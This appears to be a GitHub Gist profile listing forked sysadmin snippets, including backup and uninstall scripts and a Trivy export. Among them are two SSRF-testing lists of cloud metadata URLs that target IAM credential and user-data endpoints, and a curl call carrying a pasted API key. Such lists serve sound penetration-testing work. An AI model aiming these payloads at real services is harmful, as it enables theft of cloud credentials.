Skip to content

Instantly share code, notes, and snippets.

View adrianbiro's full-sized avatar

Adrián Bíro adrianbiro

View GitHub Profile
@adrianbiro
adrianbiro / BackupRotated
Last active March 7, 2025 18:56 — forked from bigbosst/BackupRotated
A simple rotational backup script that will rotate daily, weekly, monthly, and yearly backups.
#!/bin/bash
# shellcheck disable=CS2010
SRC_DIR="/srv/gits"
BACKUP_DIR="/srv/backups"
PROJECT_NAME="gits"
BACKUP_RETENTION_HOURLY=12
BACKUP_RETENTION_DAILY=6
BACKUP_RETENTION_WEEKLY=3
BACKUP_RETENTION_MONTHLY=3
@adrianbiro
adrianbiro / export-trivy-json-as-csv.txt
Created September 11, 2024 09:43 — forked from julianoborba/export-trivy-json-as-csv.txt
Export Aquasec Trivy JSON report as flat CSV
trivy image --no-progress --light --vuln-type os -f json -o "trivy-report.json" --severity "UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL" "foo/bar:latest"
cat trivy-report.json
# OUTPUT:
# {
# "DockerImage": "foo/bar:latest",
# "Results": [
# {
# "Target": "foo/bar:latest (foobar 3.12.1)",
@adrianbiro
adrianbiro / cloud_metadata.txt
Created May 26, 2024 10:17 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@adrianbiro
adrianbiro / Appx-Uninstaller.ps1
Created August 7, 2023 04:38 — forked from ThioJoe/Appx-Uninstaller.ps1
A basic script for uninstalling a list of app packages in Windows 10/11, including those pre-installed with Windows
# A basic script for uninstalling app packages in Windows 10/11, including those pre-installed with Windows
#
# Note: If you get an error about the script not being allowed to run, the below command will change the execution polciy temporarily for one session only:
# Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process
#
# To execute the script, open a Powershell window to the directory with the script and run the following command using your scripts file name (and don't forget the .\ )
# .\WhateverScriptName.ps1
# -------------------------------------------------------------------------------------------
# Script by ThioJoe - https://github.com/ThioJoe
@adrianbiro
adrianbiro / cloud_metadata.txt
Created August 1, 2023 04:46 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
@adrianbiro
adrianbiro / principles.md
Created July 21, 2023 16:33 — forked from neovintage/principles.md
Rimas Product Principles

Background

I wrote these at the beginning of my journey within product management and these principles guide my decision making on a daily basis. These principles were written from the perspective of doing product management for data products but most could easily be used for other industries.

Principles

  • Grow. Products not growing faster than the market are becoming less relevant over time.
  • We are a subscription product. Customers buy us every second. We survive if they keep choosing us daily.
  • Ask yourself: "what am I requiring a user learn? how would they know to find this? when would they look?"
  • First, write down the problem.
(((Get-Content -Path ./bookmarks-2023-07-06.json | ConvertFrom-Json).children.children | Where-Object {$_.title -eq "Odkaz"}).children | Where-Object {$_.title -eq "tools"}).children.uri

padding

$ echo YXNkcQo= | base64 -d
asdq
$ echo YXNkcQo | base64 -d
asdq
base64: invalid input

new

#!/bin/bash
echo -e "---------------------------------------------------------------\ncd $(git rev-parse --show-cdup)jenkins_bkp"
cd "$(git rev-parse --show-cdup)jenkins_bkp"
echo -e "---------------------------------------------------------------\noc project smart-deva"
oc project smart-deva
echo -e "---------------------------------------------------------------\noc rsync --include="config.xml" --exclude="/*/*/,state.xml" --delete=true $(oc get pod | awk '/jenkins/&&!/agent/{print $1}'):/var/lib/jenkins/jobs/smartcase/jobs/ bkp/"
# token is from stackowerflow https://stackoverflow.com/questions/38196231/cloudflare-api-error-zone-identifier-cannot-be-found
curl -s -X GET "https://api.cloudflare.com/client/v4/zones?name=example.com&status=active&page=1&per_page=20&order=status&direction=desc&match=all" -H "X-Auth-Email: user@example.com" -H "X-Auth-Key: c2547eb745079dac9320b638f5e225cf483cc5cfdda41" -H "Content-Type: application/json" | ConvertFrom-Json | Get-Member 

like https://stackoverflow.com/questions/9655027/how-to-obtain-all-fields-of-an-object#9655094